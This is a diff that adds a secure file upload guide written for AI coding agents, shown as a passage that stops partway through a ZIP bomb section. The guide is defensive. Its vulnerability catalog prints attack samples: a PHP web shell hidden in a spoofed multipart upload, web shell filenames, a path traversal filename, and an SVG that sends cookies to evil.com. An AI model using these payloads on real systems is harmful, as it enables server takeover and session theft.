- package/templates/examples/implementation-plan.example.json +17 -0
- package/templates/examples/proposed-learning.example.json +13 -0
- package/templates/examples/research.example.json +15 -0
- package/templates/examples/research.example.md +6 -0
- package/templates/examples/review.example.json +17 -0
- package/templates/examples/run-manifest.example.json +9 -0
- package/templates/examples/spec-challenge.example.json +14 -0
- package/templates/examples/spec.example.json +21 -0
- package/templates/examples/verification-proof.example.json +21 -0
- package/templates/examples/wazir-manifest.example.yaml +65 -0
- package/templates/task-definition-schema.md +99 -0
- package/tooling/README.md +20 -0
- package/tooling/src/adapters/context-mode.js +50 -0
- package/tooling/src/capture/command.js +376 -0
- package/tooling/src/capture/store.js +99 -0
- package/tooling/src/capture/usage.js +270 -0
- package/tooling/src/checks/branches.js +50 -0
- package/tooling/src/checks/brand-truth.js +110 -0
- package/tooling/src/checks/changelog.js +231 -0
- package/tooling/src/checks/command-registry.js +36 -0
- package/tooling/src/checks/commits.js +102 -0
- package/tooling/src/checks/docs-drift.js +103 -0
- package/tooling/src/checks/docs-truth.js +201 -0
- package/tooling/src/checks/runtime-surface.js +156 -0
- package/tooling/src/cli.js +116 -0
- package/tooling/src/command-options.js +56 -0
- package/tooling/src/commands/validate.js +320 -0
- package/tooling/src/doctor/command.js +91 -0
- package/tooling/src/export/command.js +77 -0
- package/tooling/src/export/compiler.js +498 -0
- package/tooling/src/guards/loop-cap-guard.js +52 -0
- package/tooling/src/guards/protected-path-write-guard.js +67 -0
- package/tooling/src/index/command.js +152 -0
- package/tooling/src/index/storage.js +1061 -0
- package/tooling/src/index/summarizers.js +261 -0
- package/tooling/src/loaders.js +18 -0
- package/tooling/src/project-root.js +22 -0
- package/tooling/src/recall/command.js +225 -0
- package/tooling/src/schema-validator.js +30 -0
- package/tooling/src/state-root.js +40 -0
- package/tooling/src/status/command.js +71 -0
- package/wazir.manifest.yaml +135 -0
- package/workflows/README.md +19 -0
- package/workflows/author.md +42 -0
- package/workflows/clarify.md +38 -0
- package/workflows/design-review.md +46 -0
- package/workflows/design.md +44 -0
- package/workflows/discover.md +37 -0
- package/workflows/execute.md +48 -0
- package/workflows/learn.md +38 -0
- package/workflows/plan-review.md +42 -0
- package/workflows/plan.md +39 -0
- package/workflows/prepare-next.md +37 -0
- package/workflows/review.md +40 -0
- package/workflows/run-audit.md +41 -0
- package/workflows/spec-challenge.md +41 -0
- package/workflows/specify.md +38 -0
- package/workflows/verify.md +37 -0
|
@@ -0,0 +1,1477 @@
|
|
|
1
|
+
# File Upload Security
|
|
2
|
+
|
|
3
|
+
> Expertise module for AI agents implementing secure file upload handling.
|
|
4
|
+
> Covers threat landscape, validation, malware scanning, cloud storage, and platform-specific guidance.
|
|
5
|
+
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## 1. Threat Landscape
|
|
9
|
+
|
|
10
|
+
File upload functionality is one of the most dangerous features in web applications.
|
|
11
|
+
CWE-434 (Unrestricted Upload of File with Dangerous Type) consistently ranks in the
|
|
12
|
+
CWE Top 25 Most Dangerous Software Weaknesses. OWASP A04:2021 (Insecure Design)
|
|
13
|
+
and A01:2021 (Broken Access Control) both encompass file upload risks.
|
|
14
|
+
|
|
15
|
+
### 1.1 Attack Vectors
|
|
16
|
+
|
|
17
|
+
| Vector | Description | Severity |
|
|
18
|
+
|--------|-------------|----------|
|
|
19
|
+
| **Web shell upload** | Attacker uploads executable server-side script (.php, .jsp, .aspx) that provides remote command execution | Critical |
|
|
20
|
+
| **Malware distribution** | Platform used to host and distribute malware to downstream users | High |
|
|
21
|
+
| **Path traversal via filename** | Crafted filenames like `../../../etc/passwd` or `..\..\web.config` overwrite critical files | Critical |
|
|
22
|
+
| **Denial of service** | Extremely large files, ZIP bombs, or decompression bombs exhaust server resources | High |
|
|
23
|
+
| **Polyglot files** | Files valid as multiple types simultaneously (e.g., GIFAR: GIF + JAR) bypass type checks | High |
|
|
24
|
+
| **SSRF via URL-based upload** | "Upload from URL" features exploited to scan internal networks or access cloud metadata | High |
|
|
25
|
+
| **Stored XSS via SVG/HTML** | SVG files with embedded `<script>` tags or HTML files execute in user browsers | Medium |
|
|
26
|
+
| **XML External Entity (XXE)** | DOCX, XLSX, SVG files containing malicious XML entity declarations | High |
|
|
27
|
+
|
|
28
|
+
### 1.2 Real-World Breaches
|
|
29
|
+
|
|
30
|
+
**Equifax (2017) — CVE-2017-5638**
|
|
31
|
+
Attackers exploited an unpatched Apache Struts vulnerability in the Jakarta Multipart
|
|
32
|
+
parser (file upload handler) to achieve remote code execution. They deployed approximately
|
|
33
|
+
30 web shells across Equifax application servers, enabling direct command execution.
|
|
34
|
+
Over 147.9 million records were exfiltrated between May and July 2017. The vulnerability
|
|
35
|
+
had been patched two months prior, but Equifax failed to apply the update. Total cost
|
|
36
|
+
exceeded $1.38 billion.
|
|
37
|
+
Source: https://www.blackduck.com/blog/equifax-apache-struts-vulnerability-cve-2017-5638.html
|
|
38
|
+
|
|
39
|
+
**Volt Typhoon — Versa Director (2024) — CVE-2024-39717**
|
|
40
|
+
Chinese state-sponsored group exploited a zero-day in Versa Director's file upload
|
|
41
|
+
functionality to deploy the "VersaMem" web shell, stealing credentials and disrupting
|
|
42
|
+
critical infrastructure operations including Halliburton's IT systems.
|
|
43
|
+
Source: https://www.picussecurity.com/resource/blog/september-2024-latest-malware-vulnerabilities-and-exploits
|
|
44
|
+
|
|
45
|
+
**Cleo Managed File Transfer (2024)**
|
|
46
|
+
Critical flaws in Cleo's MFT products (Harmony, VLTrader, LexiCom) allowed unrestricted
|
|
47
|
+
file uploads leading to remote code execution, exploited actively in the wild.
|
|
48
|
+
|
|
49
|
+
**ImageTragick — CVE-2016-3714**
|
|
50
|
+
Insufficient filtering in ImageMagick's delegate feature allowed remote code execution
|
|
51
|
+
through crafted image files. The vulnerability affected versions 6.9.3-10 and earlier,
|
|
52
|
+
and 7.x before 7.0.1-1. Companion vulnerabilities included SSRF (CVE-2016-3718),
|
|
53
|
+
file deletion (CVE-2016-3715), file moving (CVE-2016-3716), and local file read
|
|
54
|
+
(CVE-2016-3717). Polyglot SVG/MSL files could bypass filters that only checked
|
|
55
|
+
file content type without fixing ImageMagick's processing policy.
|
|
56
|
+
Source: https://imagetragick.com/
|
|
57
|
+
|
|
58
|
+
**Magento E-Commerce Platform (2019)**
|
|
59
|
+
Unrestricted file upload vulnerability allowed attackers to upload web shells, compromising
|
|
60
|
+
thousands of online stores and exposing customer payment card data.
|
|
61
|
+
|
|
62
|
+
### 1.3 Attack Statistics
|
|
63
|
+
|
|
64
|
+
According to Verizon's Data Breach Investigations Report, insecure file handling is
|
|
65
|
+
linked to approximately 12% of breaches. A 2024 penetration testing study found that
|
|
66
|
+
35% of web applications blindly trusted the Content-Type header for file validation.
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## 2. Core Security Principles
|
|
71
|
+
|
|
72
|
+
### 2.1 Defense-in-Depth Strategy
|
|
73
|
+
|
|
74
|
+
Never rely on a single validation mechanism. Layer multiple controls:
|
|
75
|
+
|
|
76
|
+
```
|
|
77
|
+
[Client Validation] → informational only, never trust
|
|
78
|
+
↓
|
|
79
|
+
[File Size Check] → reject before full upload if possible
|
|
80
|
+
↓
|
|
81
|
+
[Extension Allowlist] → reject disallowed extensions
|
|
82
|
+
↓
|
|
83
|
+
[Magic Bytes Validation] → verify actual file content type
|
|
84
|
+
↓
|
|
85
|
+
[Content Scanning] → malware/virus scan
|
|
86
|
+
↓
|
|
87
|
+
[Filename Sanitization] → generate random name, strip path components
|
|
88
|
+
↓
|
|
89
|
+
[Storage Isolation] → store outside webroot, non-executable directory
|
|
90
|
+
↓
|
|
91
|
+
[Serving Controls] → Content-Disposition, Content-Type, CSP headers
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### 2.2 Fundamental Rules
|
|
95
|
+
|
|
96
|
+
1. **Validate file type by magic bytes, not just extension or Content-Type header.**
|
|
97
|
+
The Content-Type header is client-supplied and trivially spoofed. Extensions can
|
|
98
|
+
be manipulated with double extensions or null bytes.
|
|
99
|
+
|
|
100
|
+
2. **Maintain a strict allowlist of permitted file types.** Never use a denylist
|
|
101
|
+
approach — there are too many dangerous file types to enumerate.
|
|
102
|
+
|
|
103
|
+
3. **Restrict file size at the web server and application level.** Set limits in
|
|
104
|
+
nginx/Apache configuration AND in application code.
|
|
105
|
+
|
|
106
|
+
4. **Store uploads outside the webroot.** Uploaded files must never be directly
|
|
107
|
+
accessible or executable by the web server.
|
|
108
|
+
|
|
109
|
+
5. **Generate random filenames.** Never use the original filename for storage. Use
|
|
110
|
+
UUIDs or cryptographic random strings. Store the original name in a database if
|
|
111
|
+
needed for display.
|
|
112
|
+
|
|
113
|
+
6. **Scan for malware before making files available.** Use ClamAV or a cloud-based
|
|
114
|
+
scanning service. Quarantine files until scan completes.
|
|
115
|
+
|
|
116
|
+
7. **Serve files through a proxy with correct headers.** Set `Content-Disposition: attachment`,
|
|
117
|
+
enforce correct `Content-Type`, and use a separate domain for user content.
|
|
118
|
+
|
|
119
|
+
8. **Strip metadata from images.** EXIF data can contain GPS coordinates, device info,
|
|
120
|
+
and even embedded thumbnails of cropped content.
|
|
121
|
+
|
|
122
|
+
9. **Implement rate limiting on upload endpoints.** Prevent abuse and DoS via
|
|
123
|
+
rapid repeated uploads.
|
|
124
|
+
|
|
125
|
+
10. **Log all upload activity.** Record uploader identity, original filename, detected
|
|
126
|
+
type, file hash, storage path, and scan results.
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## 3. Implementation Patterns
|
|
131
|
+
|
|
132
|
+
### 3.1 File Type Validation with Magic Bytes
|
|
133
|
+
|
|
134
|
+
Magic bytes (file signatures) are the authoritative indicator of file type. Common
|
|
135
|
+
signatures:
|
|
136
|
+
|
|
137
|
+
| Format | Magic Bytes (hex) | ASCII |
|
|
138
|
+
|--------|-------------------|-------|
|
|
139
|
+
| JPEG | `FF D8 FF` | n/a |
|
|
140
|
+
| PNG | `89 50 4E 47 0D 0A 1A 0A` | .PNG.... |
|
|
141
|
+
| GIF | `47 49 46 38` | GIF8 |
|
|
142
|
+
| PDF | `25 50 44 46` | %PDF |
|
|
143
|
+
| ZIP | `50 4B 03 04` | PK.. |
|
|
144
|
+
| WEBP | `52 49 46 46 ?? ?? ?? ?? 57 45 42 50` | RIFF....WEBP |
|
|
145
|
+
|
|
146
|
+
**Node.js implementation using `file-type` library:**
|
|
147
|
+
|
|
148
|
+
```typescript
|
|
149
|
+
import { fileTypeFromBuffer } from 'file-type';
|
|
150
|
+
|
|
151
|
+
const ALLOWED_TYPES = new Map([
|
|
152
|
+
['image/jpeg', { extensions: ['jpg', 'jpeg'], maxSize: 10_000_000 }],
|
|
153
|
+
['image/png', { extensions: ['png'], maxSize: 10_000_000 }],
|
|
154
|
+
['image/webp', { extensions: ['webp'], maxSize: 10_000_000 }],
|
|
155
|
+
['application/pdf', { extensions: ['pdf'], maxSize: 50_000_000 }],
|
|
156
|
+
]);
|
|
157
|
+
|
|
158
|
+
async function validateFileType(buffer: Buffer): Promise<{
|
|
159
|
+
valid: boolean;
|
|
160
|
+
detectedType: string | null;
|
|
161
|
+
error?: string;
|
|
162
|
+
}> {
|
|
163
|
+
const result = await fileTypeFromBuffer(buffer);
|
|
164
|
+
|
|
165
|
+
if (!result) {
|
|
166
|
+
return { valid: false, detectedType: null, error: 'Unable to detect file type' };
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
if (!ALLOWED_TYPES.has(result.mime)) {
|
|
170
|
+
return {
|
|
171
|
+
valid: false,
|
|
172
|
+
detectedType: result.mime,
|
|
173
|
+
error: `File type '${result.mime}' is not allowed`,
|
|
174
|
+
};
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
return { valid: true, detectedType: result.mime };
|
|
178
|
+
}
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
**Python implementation using `python-magic`:**
|
|
182
|
+
|
|
183
|
+
```python
|
|
184
|
+
import magic
|
|
185
|
+
|
|
186
|
+
ALLOWED_MIME_TYPES = {
|
|
187
|
+
'image/jpeg', 'image/png', 'image/webp', 'application/pdf'
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
def validate_file_type(file_bytes: bytes) -> tuple[bool, str]:
|
|
191
|
+
"""Validate file type using magic bytes. Returns (is_valid, detected_mime)."""
|
|
192
|
+
detected_mime = magic.from_buffer(file_bytes[:2048], mime=True)
|
|
193
|
+
|
|
194
|
+
if detected_mime not in ALLOWED_MIME_TYPES:
|
|
195
|
+
return False, detected_mime
|
|
196
|
+
|
|
197
|
+
return True, detected_mime
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### 3.2 Image Processing Sandboxing
|
|
201
|
+
|
|
202
|
+
Image processing libraries (ImageMagick, GraphicsMagick, libvips) have a history of
|
|
203
|
+
vulnerabilities. Isolate processing:
|
|
204
|
+
|
|
205
|
+
```typescript
|
|
206
|
+
// Use sharp (libvips wrapper) instead of ImageMagick
|
|
207
|
+
// sharp re-encodes images, stripping any embedded payloads
|
|
208
|
+
import sharp from 'sharp';
|
|
209
|
+
|
|
210
|
+
async function processUploadedImage(
|
|
211
|
+
inputBuffer: Buffer,
|
|
212
|
+
maxWidth = 2048,
|
|
213
|
+
maxHeight = 2048,
|
|
214
|
+
): Promise<Buffer> {
|
|
215
|
+
// Re-encoding through sharp neutralizes polyglot attacks
|
|
216
|
+
// and strips EXIF metadata by default
|
|
217
|
+
return sharp(inputBuffer)
|
|
218
|
+
.resize(maxWidth, maxHeight, {
|
|
219
|
+
fit: 'inside',
|
|
220
|
+
withoutEnlargement: true,
|
|
221
|
+
})
|
|
222
|
+
.jpeg({ quality: 85, mozjpeg: true })
|
|
223
|
+
.toBuffer();
|
|
224
|
+
}
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
**ImageMagick policy hardening** (`/etc/ImageMagick-7/policy.xml`):
|
|
228
|
+
|
|
229
|
+
```xml
|
|
230
|
+
<policymap>
|
|
231
|
+
<!-- Disable dangerous coders -->
|
|
232
|
+
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
|
|
233
|
+
<policy domain="coder" rights="none" pattern="URL" />
|
|
234
|
+
<policy domain="coder" rights="none" pattern="MVG" />
|
|
235
|
+
<policy domain="coder" rights="none" pattern="MSL" />
|
|
236
|
+
<policy domain="coder" rights="none" pattern="TEXT" />
|
|
237
|
+
<policy domain="coder" rights="none" pattern="LABEL" />
|
|
238
|
+
|
|
239
|
+
<!-- Resource limits -->
|
|
240
|
+
<policy domain="resource" name="memory" value="256MiB"/>
|
|
241
|
+
<policy domain="resource" name="map" value="512MiB"/>
|
|
242
|
+
<policy domain="resource" name="width" value="8192"/>
|
|
243
|
+
<policy domain="resource" name="height" value="8192"/>
|
|
244
|
+
<policy domain="resource" name="area" value="64MP"/>
|
|
245
|
+
<policy domain="resource" name="disk" value="1GiB"/>
|
|
246
|
+
</policymap>
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
### 3.3 Virus Scanning with ClamAV
|
|
250
|
+
|
|
251
|
+
ClamAV is an open-source antivirus engine (GPLv2) suitable for scanning uploaded files.
|
|
252
|
+
|
|
253
|
+
**Architecture:**
|
|
254
|
+
```
|
|
255
|
+
Upload → Temp Storage → ClamAV Scan → Clean? → Permanent Storage
|
|
256
|
+
→ Infected? → Quarantine + Alert
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Node.js integration using `clamav.js`:**
|
|
260
|
+
|
|
261
|
+
```typescript
|
|
262
|
+
import NodeClam from 'clamscan';
|
|
263
|
+
|
|
264
|
+
const ClamScan = new NodeClam().init({
|
|
265
|
+
clamdscan: {
|
|
266
|
+
socket: '/var/run/clamav/clamd.ctl', // Unix socket (preferred)
|
|
267
|
+
host: '127.0.0.1', // TCP fallback
|
|
268
|
+
port: 3310,
|
|
269
|
+
timeout: 60000,
|
|
270
|
+
localFallback: true,
|
|
271
|
+
},
|
|
272
|
+
preference: 'clamdscan',
|
|
273
|
+
});
|
|
274
|
+
|
|
275
|
+
async function scanFile(filePath: string): Promise<{
|
|
276
|
+
clean: boolean;
|
|
277
|
+
viruses: string[];
|
|
278
|
+
}> {
|
|
279
|
+
const clamscan = await ClamScan;
|
|
280
|
+
const { isInfected, viruses } = await clamscan.isInfected(filePath);
|
|
281
|
+
|
|
282
|
+
return {
|
|
283
|
+
clean: !isInfected,
|
|
284
|
+
viruses: viruses ?? [],
|
|
285
|
+
};
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
// Usage in upload pipeline
|
|
289
|
+
async function handleUpload(tempPath: string): Promise<void> {
|
|
290
|
+
const scanResult = await scanFile(tempPath);
|
|
291
|
+
|
|
292
|
+
if (!scanResult.clean) {
|
|
293
|
+
await moveToQuarantine(tempPath);
|
|
294
|
+
await alertSecurityTeam(scanResult.viruses);
|
|
295
|
+
throw new Error('File failed malware scan');
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
await moveToStorage(tempPath);
|
|
299
|
+
}
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
**Important:** Keep ClamAV signature databases updated via `freshclam`. The clamd daemon
|
|
303
|
+
does not authenticate TCP traffic — always bind to localhost or use Unix sockets.
|
|
304
|
+
|
|
305
|
+
### 3.4 Cloud Storage with Signed URLs
|
|
306
|
+
|
|
307
|
+
Direct browser-to-cloud uploads via signed URLs reduce server load and attack surface.
|
|
308
|
+
|
|
309
|
+
**AWS S3 presigned URL generation (TypeScript):**
|
|
310
|
+
|
|
311
|
+
```typescript
|
|
312
|
+
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
|
|
313
|
+
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
|
|
314
|
+
import { randomUUID } from 'crypto';
|
|
315
|
+
|
|
316
|
+
const s3 = new S3Client({ region: 'us-east-1' });
|
|
317
|
+
|
|
318
|
+
async function generateUploadUrl(
|
|
319
|
+
contentType: string,
|
|
320
|
+
maxSizeBytes: number,
|
|
321
|
+
): Promise<{ uploadUrl: string; key: string }> {
|
|
322
|
+
// Validate content type server-side before generating URL
|
|
323
|
+
const ALLOWED_CONTENT_TYPES = ['image/jpeg', 'image/png', 'application/pdf'];
|
|
324
|
+
if (!ALLOWED_CONTENT_TYPES.includes(contentType)) {
|
|
325
|
+
throw new Error(`Content type '${contentType}' is not allowed`);
|
|
326
|
+
}
|
|
327
|
+
|
|
328
|
+
const key = `uploads/${randomUUID()}`;
|
|
329
|
+
|
|
330
|
+
const command = new PutObjectCommand({
|
|
331
|
+
Bucket: 'my-upload-bucket',
|
|
332
|
+
Key: key,
|
|
333
|
+
ContentType: contentType,
|
|
334
|
+
// Server-side encryption
|
|
335
|
+
ServerSideEncryption: 'AES256',
|
|
336
|
+
});
|
|
337
|
+
|
|
338
|
+
const uploadUrl = await getSignedUrl(s3, command, {
|
|
339
|
+
expiresIn: 300, // 5 minutes
|
|
340
|
+
});
|
|
341
|
+
|
|
342
|
+
return { uploadUrl, key };
|
|
343
|
+
}
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
**S3 bucket policy for upload restrictions:**
|
|
347
|
+
|
|
348
|
+
```json
|
|
349
|
+
{
|
|
350
|
+
"Version": "2012-10-17",
|
|
351
|
+
"Statement": [
|
|
352
|
+
{
|
|
353
|
+
"Sid": "DenyUnencryptedUploads",
|
|
354
|
+
"Effect": "Deny",
|
|
355
|
+
"Principal": "*",
|
|
356
|
+
"Action": "s3:PutObject",
|
|
357
|
+
"Resource": "arn:aws:s3:::my-upload-bucket/*",
|
|
358
|
+
"Condition": {
|
|
359
|
+
"StringNotEquals": {
|
|
360
|
+
"s3:x-amz-server-side-encryption": "AES256"
|
|
361
|
+
}
|
|
362
|
+
}
|
|
363
|
+
},
|
|
364
|
+
{
|
|
365
|
+
"Sid": "DenyPublicAccess",
|
|
366
|
+
"Effect": "Deny",
|
|
367
|
+
"Principal": "*",
|
|
368
|
+
"Action": "s3:GetObject",
|
|
369
|
+
"Resource": "arn:aws:s3:::my-upload-bucket/*",
|
|
370
|
+
"Condition": {
|
|
371
|
+
"Bool": { "aws:SecureTransport": "false" }
|
|
372
|
+
}
|
|
373
|
+
}
|
|
374
|
+
]
|
|
375
|
+
}
|
|
376
|
+
```
|
|
377
|
+
|
|
378
|
+
**Google Cloud Storage signed URL (Python):**
|
|
379
|
+
|
|
380
|
+
```python
|
|
381
|
+
from google.cloud import storage
|
|
382
|
+
from datetime import timedelta
|
|
383
|
+
import uuid
|
|
384
|
+
|
|
385
|
+
def generate_upload_signed_url(content_type: str, max_size: int) -> dict:
|
|
386
|
+
client = storage.Client()
|
|
387
|
+
bucket = client.bucket('my-upload-bucket')
|
|
388
|
+
blob_name = f"uploads/{uuid.uuid4()}"
|
|
389
|
+
blob = bucket.blob(blob_name)
|
|
390
|
+
|
|
391
|
+
url = blob.generate_signed_url(
|
|
392
|
+
version="v4",
|
|
393
|
+
expiration=timedelta(minutes=5),
|
|
394
|
+
method="PUT",
|
|
395
|
+
content_type=content_type,
|
|
396
|
+
headers={"x-goog-content-length-range": f"0,{max_size}"},
|
|
397
|
+
)
|
|
398
|
+
|
|
399
|
+
return {"upload_url": url, "blob_name": blob_name}
|
|
400
|
+
```
|
|
401
|
+
|
|
402
|
+
**Post-upload scanning pipeline (GCS):**
|
|
403
|
+
Google Cloud's reference architecture uses Cloud Functions triggered by storage events
|
|
404
|
+
to pass uploaded files through ClamAV. Clean files are moved to a "clean" bucket;
|
|
405
|
+
infected files are moved to a "quarantine" bucket.
|
|
406
|
+
|
|
407
|
+
### 3.5 Content-Disposition and Serving Headers
|
|
408
|
+
|
|
409
|
+
When serving user-uploaded files, always set defensive headers:
|
|
410
|
+
|
|
411
|
+
```typescript
|
|
412
|
+
app.get('/files/:fileId', async (req, res) => {
|
|
413
|
+
const file = await getFileMetadata(req.params.fileId);
|
|
414
|
+
|
|
415
|
+
// Force download — never render in browser
|
|
416
|
+
res.setHeader('Content-Disposition',
|
|
417
|
+
`attachment; filename="${encodeURIComponent(file.originalName)}"`);
|
|
418
|
+
|
|
419
|
+
// Set accurate content type from stored metadata, not file extension
|
|
420
|
+
res.setHeader('Content-Type', file.detectedMimeType);
|
|
421
|
+
|
|
422
|
+
// Prevent MIME sniffing
|
|
423
|
+
res.setHeader('X-Content-Type-Options', 'nosniff');
|
|
424
|
+
|
|
425
|
+
// Content Security Policy — block scripts in served content
|
|
426
|
+
res.setHeader('Content-Security-Policy', "default-src 'none'; style-src 'unsafe-inline'");
|
|
427
|
+
|
|
428
|
+
// Serve from a separate domain to isolate cookies
|
|
429
|
+
// e.g., uploads.example.com instead of example.com
|
|
430
|
+
|
|
431
|
+
const stream = await getFileStream(file.storagePath);
|
|
432
|
+
stream.pipe(res);
|
|
433
|
+
});
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
### 3.6 Filename Sanitization
|
|
437
|
+
|
|
438
|
+
```typescript
|
|
439
|
+
import { randomUUID } from 'crypto';
|
|
440
|
+
import path from 'path';
|
|
441
|
+
|
|
442
|
+
function sanitizeAndRename(originalFilename: string, detectedMime: string): {
|
|
443
|
+
storageFilename: string;
|
|
444
|
+
originalName: string;
|
|
445
|
+
} {
|
|
446
|
+
// Map detected MIME to safe extension
|
|
447
|
+
const MIME_TO_EXT: Record<string, string> = {
|
|
448
|
+
'image/jpeg': '.jpg',
|
|
449
|
+
'image/png': '.png',
|
|
450
|
+
'image/webp': '.webp',
|
|
451
|
+
'application/pdf': '.pdf',
|
|
452
|
+
};
|
|
453
|
+
|
|
454
|
+
const safeExtension = MIME_TO_EXT[detectedMime] ?? '.bin';
|
|
455
|
+
|
|
456
|
+
// Sanitize original name for display (remove path separators, null bytes)
|
|
457
|
+
const sanitizedOriginal = path.basename(originalFilename)
|
|
458
|
+
.replace(/[\x00-\x1f]/g, '') // Remove control characters
|
|
459
|
+
.replace(/[/\\]/g, '_') // Replace path separators
|
|
460
|
+
.slice(0, 255); // Limit length
|
|
461
|
+
|
|
462
|
+
return {
|
|
463
|
+
storageFilename: `${randomUUID()}${safeExtension}`,
|
|
464
|
+
originalName: sanitizedOriginal,
|
|
465
|
+
};
|
|
466
|
+
}
|
|
467
|
+
```
|
|
468
|
+
|
|
469
|
+
---
|
|
470
|
+
|
|
471
|
+
## 4. Vulnerability Catalog
|
|
472
|
+
|
|
473
|
+
### V-01: Extension Bypass — Double Extension
|
|
474
|
+
|
|
475
|
+
**CWE:** CWE-434
|
|
476
|
+
**Attack:** Upload `shell.php.jpg`. Some servers (Apache with misconfigured `mod_mime`)
|
|
477
|
+
execute the `.php` handler.
|
|
478
|
+
|
|
479
|
+
```
|
|
480
|
+
# Malicious filename examples
|
|
481
|
+
shell.php.jpg
|
|
482
|
+
shell.php%00.jpg # Null byte injection (legacy)
|
|
483
|
+
shell.php;.jpg # Semicolon bypass (IIS)
|
|
484
|
+
shell.pHp # Case manipulation
|
|
485
|
+
shell.php5 # Alternative PHP extension
|
|
486
|
+
shell.phtml # Another PHP extension
|
|
487
|
+
```
|
|
488
|
+
|
|
489
|
+
**Fix:** Validate against magic bytes, not extension. If extension checking is used,
|
|
490
|
+
extract only the final extension and compare against an allowlist.
|
|
491
|
+
|
|
492
|
+
### V-02: MIME Type Spoofing
|
|
493
|
+
|
|
494
|
+
**CWE:** CWE-345 (Insufficient Verification of Data Authenticity)
|
|
495
|
+
**Attack:** Set `Content-Type: image/jpeg` header while uploading a PHP web shell.
|
|
496
|
+
|
|
497
|
+
```http
|
|
498
|
+
POST /upload HTTP/1.1
|
|
499
|
+
Content-Type: multipart/form-data; boundary=----boundary
|
|
500
|
+
|
|
501
|
+
------boundary
|
|
502
|
+
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
|
|
503
|
+
Content-Type: image/jpeg
|
|
504
|
+
|
|
505
|
+
<?php system($_GET['cmd']); ?>
|
|
506
|
+
------boundary--
|
|
507
|
+
```
|
|
508
|
+
|
|
509
|
+
**Fix:** Never trust the Content-Type header. Always validate using magic bytes from
|
|
510
|
+
the file content itself.
|
|
511
|
+
|
|
512
|
+
### V-03: Path Traversal in Filename
|
|
513
|
+
|
|
514
|
+
**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
|
|
515
|
+
**Attack:** Upload with filename `../../../etc/cron.d/backdoor` to write outside
|
|
516
|
+
the upload directory.
|
|
517
|
+
|
|
518
|
+
```python
|
|
519
|
+
# VULNERABLE — uses original filename
|
|
520
|
+
def save_upload(file):
|
|
521
|
+
path = os.path.join('/uploads', file.filename) # Path traversal!
|
|
522
|
+
file.save(path)
|
|
523
|
+
|
|
524
|
+
# SECURE — generates random filename
|
|
525
|
+
def save_upload(file):
|
|
526
|
+
ext = validate_and_get_extension(file)
|
|
527
|
+
safe_name = f"{uuid.uuid4()}{ext}"
|
|
528
|
+
path = os.path.join('/uploads', safe_name)
|
|
529
|
+
# Additional safety: verify resolved path is within upload dir
|
|
530
|
+
real_path = os.path.realpath(path)
|
|
531
|
+
if not real_path.startswith(os.path.realpath('/uploads')):
|
|
532
|
+
raise SecurityError("Path traversal detected")
|
|
533
|
+
file.save(real_path)
|
|
534
|
+
```
|
|
535
|
+
|
|
536
|
+
### V-04: SVG with Embedded Scripts (Stored XSS)
|
|
537
|
+
|
|
538
|
+
**CWE:** CWE-79 (Cross-site Scripting)
|
|
539
|
+
**Attack:** Upload an SVG file containing JavaScript that executes when viewed.
|
|
540
|
+
|
|
541
|
+
```xml
|
|
542
|
+
<!-- Malicious SVG -->
|
|
543
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
544
|
+
<script>document.location='https://evil.com/?c='+document.cookie</script>
|
|
545
|
+
<rect width="100" height="100" fill="red"
|
|
546
|
+
onload="fetch('https://evil.com/steal?cookie='+document.cookie)"/>
|
|
547
|
+
<foreignObject>
|
|
548
|
+
<body xmlns="http://www.w3.org/1999/xhtml">
|
|
549
|
+
<script>alert('XSS')</script>
|
|
550
|
+
</body>
|
|
551
|
+
</foreignObject>
|
|
552
|
+
</svg>
|
|
553
|
+
```
|
|
554
|
+
|
|
555
|
+
**Fix:** Either reject SVG uploads entirely, sanitize by stripping `<script>`,
|
|
556
|
+
`<foreignObject>`, and all `on*` attributes, or convert to rasterized format (PNG).
|
|
557
|
+
Serve with `Content-Type: image/svg+xml` and `Content-Security-Policy: default-src 'none'`.
|
|
558
|
+
|
|
559
|
+
### V-05: ZIP Bomb / Decompression Bomb
|
|
560
|
+
|
|
561
|
+
**CWE:** CWE-409 (Improper Handling of Highly Compressed Data)
|
|
562
|
+
**Attack:** A 42KB ZIP file expands to 4.5 petabytes when decompressed (e.g., 42.zip).
|
|
563
|
+
Nested ZIP files amplify exponentially.
|
|
564
|
+
|
|
565
|
+
**Fix:**
|
|
566
|
+
```python
|
|
567
|
+
import zipfile
|
|
568
|
+
|
|
569
|
+
MAX_UNCOMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB
|
|
570
|
+
MAX_FILES = 1000
|
|
571
|
+
MAX_NESTING_DEPTH = 2
|
|
572
|
+
|
|
573
|
+
def safe_extract(zip_path: str, extract_to: str, depth: int = 0) -> None:
|
|
574
|
+
if depth > MAX_NESTING_DEPTH:
|
|
575
|
+
raise SecurityError("Maximum archive nesting depth exceeded")
|
|
576
|
+
|
|
577
|
+
with zipfile.ZipFile(zip_path, 'r') as zf:
|
|
578
|
+
total_size = sum(info.file_size for info in zf.infolist())
|
|
579
|
+
if total_size > MAX_UNCOMPRESSED_SIZE:
|
|
580
|
+
raise SecurityError(f"Uncompressed size {total_size} exceeds limit")
|
|
581
|
+
|
|
582
|
+
if len(zf.infolist()) > MAX_FILES:
|
|
583
|
+
